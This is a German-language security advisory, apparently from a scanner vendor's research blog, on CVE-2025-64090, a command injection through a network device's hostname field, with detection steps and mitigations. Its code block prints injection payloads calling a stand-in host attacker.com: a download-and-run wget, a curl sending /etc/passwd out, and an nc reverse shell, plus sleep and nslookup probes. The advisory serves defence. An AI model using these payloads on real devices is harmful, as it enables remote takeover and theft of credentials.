CVE-2025-64090: Befehlseinschleusung über das Feld „Geräte-Hostname“ ermöglicht vollständige Systemkompromittierung
Authentifizierte Angreifer können beliebige Betriebssystembefehle ausführen, indem sie Shell-Metazeichen in das Hostnamenfeld des Geräts einfügen. CVSS 10.0. Eine häufige Schwachstellenklasse in Netzwerkgeräten und eingebetteten Systemen, die regelmäßig kritische Auswirkungen hat.
CVE-2025-64090Was ist CVE-2025-64090?
CVE-2025-64090 ist eine Sicherheitslücke bezüglich der Befehlseinschleusung, bei der das Konfigurationsfeld für den Hostnamen des Geräts unbereinigt an einen zugrunde liegenden Shell-Befehl übergeben wird. Durch das Einfügen von Shell-Metazeichen (;, |, `, $()) in den Hostnamenwert können authentifizierte Angreifer aus dem beabsichtigten Befehlskontext ausbrechen und beliebige Betriebssystembefehle mit den Rechten des Verwaltungsprozesses des Geräts – normalerweise Root – ausführen.
Diese Schwachstellenklasse kommt endemisch in Netzwerkgeräten, IoT-Hardware, Routern, Firewalls und eingebetteten Linux-Systemen vor, in denen webbasierte Verwaltungsschnittstellen Shell-Befehle aus vom Benutzer bereitgestellten Konfigurationswerten ohne ordnungsgemäße Bereinigung erstellen.
⚠Geringe Hürde für einen vollständigen Kompromiss
Jeder authentifizierte Benutzer – einschließlich Konten mit geringen Berechtigungen – kann die Befehlsausführung auf Root-Ebene erreichen. In Umgebungen, in denen standardmäßige oder schwache Anmeldeinformationen vorhanden sind, führt dies praktisch zu einer nicht authentifizierten Ausnutzung.
Befehlsinjektionsmechanik
# Vulnerable device sets hostname using shell command:
# system("hostname " + user_input)
# Attacker submits hostname:
newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh
# This executes as:
hostname newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh
# Other injection patterns:
# Backtick execution:
`curl http://attacker.com/$(cat /etc/passwd | base64)`
# Subshell:
$(id > /var/www/html/pwned.txt)
# Pipe:
validhost | nc attacker.com 4444 -e /bin/sh
Betroffene Versionen
Informationen zu bestimmten Hardwaremodellen und Firmware-Versionen finden Sie in den Herstellerhinweisen. Netzwerkgeräte mit webbasierten Verwaltungsschnittstellen, die die Hostnamenkonfiguration offenlegen, stellen die Hauptrisikooberfläche dar.
Erkennungsmethoden
Testen auf Hostname-Injection
# Manual test: submit hostname with command injection payload # Use time-delay to confirm blind injection POST /admin/network/hostname hostname=test%3Bsleep%205 # If response delays ~5 seconds: vulnerable # Out-of-band confirmation: hostname=test%3Bnslookup+attacker.burpcollaborator.net
🔍 KENSAI-Erkennung: Der Gerätesicherheitsscanner von KENSAI testet Verwaltungsschnittstellenfelder, einschließlich Hostname, DNS, NTP und SNMP-Konfiguration für die Befehlsinjektion des Betriebssystems. CVE-2025-64090-Muster sind in Profilen zur Netzwerkgerätebewertung enthalten.
Abhilfemaßnahmen
- Firmware-Update des Anbieters sofort anwenden.
- Eingabevalidierung: Hostnamenfelder sollten nur alphanumerische Zeichen und Bindestriche akzeptieren (RFC 952/1123-konform).
- Verwenden Sie sichere APIs: Ersetzen Sie die Shell-Befehlskonstruktion durch Systemaufrufe, die Argumentarrays akzeptieren (keine Shell-Interpolation).
- Verwaltungsoberfläche einschränken: Beschränken Sie den Zugriff auf die Verwaltungsoberfläche über Firewall-Regeln auf vertrauenswürdige IP-Bereiche.
- Standardanmeldeinformationen ändern: Stellen Sie sicher, dass alle Verwaltungskonten sichere, eindeutige Passwörter verwenden.
- Netzwerksegmentierung: Isolieren Sie Verwaltungsschnittstellen von Netzwerken, auf die der Benutzer zugreifen kann.
Befehlsinjektion in Ihre Netzwerkgeräte?
KENSAI scannt Netzwerkgeräte und Verwaltungsschnittstellen auf Schwachstellen durch Befehlsinjektion, einschließlich CVE-2025-64090. Identifizieren Sie anfällige Geräte, bevor Angreifer Fuß fassen.
Netzwerkgeräte kostenlos scannenVeröffentlicht vom KENSAI Security Research Team · Weitere CVE-Analyse